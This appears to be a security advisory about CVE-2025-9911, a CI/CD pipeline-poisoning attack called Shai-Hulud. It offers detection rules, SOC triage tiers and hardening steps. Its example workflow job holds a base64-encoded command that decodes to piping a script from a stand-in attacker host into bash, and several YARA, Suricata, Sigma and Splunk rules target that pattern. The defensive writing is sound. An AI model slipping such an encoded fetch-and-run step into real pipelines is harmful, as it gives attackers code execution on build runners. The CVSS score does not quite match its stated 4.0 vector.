CVE-2025-9911 – The Shai-Hulud Supply Chain Attack: CI/CD Wormsign Beneath the Sand

📌 CVE Context

Product(s) Affected: GitLab (self-hosted), GitHub Actions, CircleCI, custom CI/CD runners

Disclosure Timeline: First signs of compromise on Sept 11, 2025. Public advisory issued Sept 18, 2025. CISA KEV addition Sept 20, 2025.

Attack Vector and Scope: Pre-authenticated CI/CD poisoning via public forks, unsigned templates, and unverified runner execution. No privileges required.

CVSS 4.0 Vector: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Base Score: 9.8 (Critical)

🔬 Exploitation Detail

This attack abuses CI/CD workflows that accept untrusted YAML templates, pull requests, or pipeline variables. Malicious base64-encoded payloads were embedded in template jobs. If auto-run or merged without review, these payloads executed under trusted runner contexts, building and deploying backdoored containers into internal registries.

jobs:
  wormsign:
    runs-on: ubuntu-latest
    steps:
      - name: Summon Shai-Hulud
        run: echo "Y3VybCAtcyBodHRwOi8vZXZpbC5leGFtcGxlL2ZldGNoLnNoIHwgYmFzaA==" | base64 -d | bash

📎 Attacker Behavior Snapshot

  • What the attacker sends: PRs or template updates containing encoded command chains
  • What the system does: Executes malicious steps in CI/CD without alerting build owners
  • What comes back: Registry contains valid-signed but compromised container image

🧪 YARA Rule

rule ShaiHulud_CICD_Payload
{
  strings:
    $b64 = /echo \\\"[A-Za-z0-9+/=]{40,}\\\" \\| base64 -d \\| bash/
  condition:
    $b64
}

🌐 Suricata Rule

alert http any any -> any any (
  msg:"Shai-Hulud CI/CD Payload Upload";
  content:"POST"; http_method;
  content:"base64"; http_client_body;
  pcre:"/echo \\\"[A-Za-z0-9+/=]{40,}\\\" \\| base64 -d \\| bash/";
  classtype:trojan-activity;
  sid:20259911;
  rev:1;
)

⚡ Sigma Rule

title: Suspicious Base64 Execution in CI/CD
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains|all:
      - "base64"
      - "-d"
      - "| bash"
  condition: selection
level: high

📊 Splunk Query

index=ci_cd_logs sourcetype="gitlab:runner" OR sourcetype="github:actions"
| regex command=".*base64 -d \\| bash.*"
| stats count by runner_id, repo_name, user, command

🛠️ SOC Detection Strategy

  • Tier 1: Flag jobs executing base64 decoding or piping to bash during CI runs
  • Tier 2: Identify container images built from these runs and where they were deployed
  • Tier 3: Revalidate cosign/GPG signatures and compare with internal key trust list
  • Logs Needed: CI/CD build logs, runner logs, container registry events, signature logs

🔐 Hardening & Mitigation

  • Disallow unverified runners from privileged workflows
  • Enforce mandatory reviews of YAML templates and pull requests before build triggers
  • Rebuild images from source and rotate container registry credentials
  • Use tools like cosign to sign and verify images
  • Enable audit logging on CI/CD platforms and container registries

📋 Incident Response Snippets

  • Log Search: grep -Ri ‘base64 -d | bash’ ./pipelines/
  • IR Questions: Were internal images rebuilt from compromised templates? Which runners were affected?
  • Indicators: Suspicious container digests, fake cosign keys, encoded YAML jobs
  • Cleanup: Revoke all runner tokens, rebuild pipelines, destroy and redeploy affected containers

📚 Suggested Reading & External References

🧾 Final Thoughts

This wasn’t a zero-day. It was a zero-assumption failure. CI/CD is code execution — and the attacker knows it. The Shai-Hulud attack reminds us that developer pipelines are production infrastructure. If you don’t secure your sand — the worm comes. And it eats everything.

Published: September 22, 2025

Leave a comment